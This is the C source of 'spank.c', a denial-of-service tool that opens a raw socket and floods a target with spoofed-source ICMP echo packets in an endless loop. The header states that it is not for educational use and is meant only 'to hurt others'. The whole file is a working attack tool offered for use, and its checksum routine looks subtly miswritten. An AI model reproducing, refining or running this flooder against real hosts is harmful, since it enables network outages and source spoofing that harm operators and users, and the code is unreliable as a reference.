/*
 * spank.c by fred_ | blasphemy
 *
 *  @@@@@@   @@@@@@@    @@@@@@   @@@  @@@  @@@  @@@
 * @@@@@@@   @@@@@@@@  @@@@@@@@  @@@@ @@@  @@@  @@@
 * !@@       @@!  @@@  @@!  @@@  @@!@!@@@  @@!  !@@
 * !@!       !@!  @!@  !@!  @!@  !@!!@!@!  !@!  @!!
 * !!@@!!    @!@@!@!   @!@!@!@!  @!@ !!@!  @!@@!@!
 *  !!@!!!   !!@!!!    !!!@!!!!  !@!  !!!  !!@!!!
 *      !:!  !!:       !!:  !!!  !!:  !!!  !!: :!!
 *     !:!   :!:       :!:  !:!  :!:  !:!  :!:  !:!
 * :::: ::    ::       ::   :::   ::   ::   ::  :::
 * :: : :     :         :   : :  ::    :    :   :::
 *
 * This program is not for educational use
 * in any shape or form. You must agree that
 * you will only use it to hurt others.
 *
 * Warning, this program uses alot of bandwidth.
 *
 * usage: ./spank <source> <destination> <size>
 *
*/

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/ip_icmp.h>

static int in_cksum(u_short *addr, int len);
static void fill(int datalen, char *icmp_data);

#define	PHDR_LEN	sizeof(struct icmphdr) + sizeof(struct iphdr)

static void
fill(int datalen, char *icmp_data)
{
	static u_int32_t rnd;
	int i;

	for (i = PHDR_LEN; i < datalen; i++) {
		rnd = (3141592621U * rnd + 663896637U);
		icmp_data[i] = rnd>>24;
	  }
}

int
main(int argc, char *argv[])
{
	int count = 0, sock, x;
	struct sockaddr_in sin;

	fprintf(stdout, "spank.c coded by fred_ | blasphemy\n");

	if (argc != 4) {
		fprintf(stderr,
			"ex., %s <source> <destination> <size>\n",
			argv[0]);
		exit(1);
	  }

	if (atoi(argv[3]) < 1) {
		fprintf(stderr,
			"error: packet size is too small.\n");
		exit(1);
	  }

	sin.sin_family = AF_INET;
	sin.sin_port = htons(0);
	sin.sin_addr.s_addr = get_addr(argv[2]);

	sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sock < 0) {
		perror("socket()");
		exit(1);
	  }

	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &x, sizeof(x));

	printf("each '.' is 25 packets\n");
	while (1) {
		send_packet(argv[1],
			atoi(argv[3]), sin, sock);
		count++;
		if (count == 25) {
			printf(".");
			fflush(stdout);

			count = 0;
		  }
		usleep(10);
	  }
}

int get_addr(char *host)
{
	static struct in_addr h;
	struct hostent *hp;

	h.s_addr = inet_addr(host);
	if (h.s_addr == -1) {
		hp = gethostbyname(host);
		if (hp == NULL) {
			fprintf(stderr,
				"unable to resolve %s.\n", host);
			exit(1);
		  }

		bcopy(hp->h_addr, (char *)&h.s_addr, hp->h_length);
	  }

	return h.s_addr;
}

int send_packet(char *src, int size,
	struct sockaddr_in sin, int sock)
{
        char *packet;
        struct icmphdr *icmp;
        struct iphdr *ip;

	packet = (char *) malloc(PHDR_LEN + size);

	ip = (struct iphdr *)packet;
	icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

	memset(packet, 0, PHDR_LEN);
	fill(size, packet);

	ip->tot_len = htons(PHDR_LEN + size);
	ip->ihl = 5;
	ip->ttl = 255;
	ip->protocol = IPPROTO_ICMP;
	ip->version = 4;
	ip->tos = 0;
	ip->frag_off = 0;
	ip->saddr = get_addr(src);
	ip->daddr = sin.sin_addr.s_addr;
	ip->check = in_cksum((u_short *)ip,
		sizeof(struct iphdr));

	icmp->type = 8;
	icmp->code = 1;
	icmp->checksum = in_cksum((u_short *)icmp,
		sizeof(struct icmphdr));

	if (sendto(sock, packet, PHDR_LEN + size,
		0, (struct sockaddr *)&sin,
		sizeof(struct sockaddr)) == -1) {
			close(sock);
			perror("sendto()");
			exit(1);
	  }

	free(packet);
}

static int
in_cksum(u_short *addr, int len)
{
	register int nleft = len;
	register int sum = 0;
	u_short answer = 0;

	while (nleft > 1) {
		sum += *addr++;
		nleft -= 2;
	  }

	if (nleft == 1) {
		*(u_char *) (&answer) = *(u_char *) addr;
		sum += answer;
	  }

	sum = (sum >> 16) + (sum + 0xffff);
	sum += (sum >> 16);

	answer = ~sum;
	return (answer);
}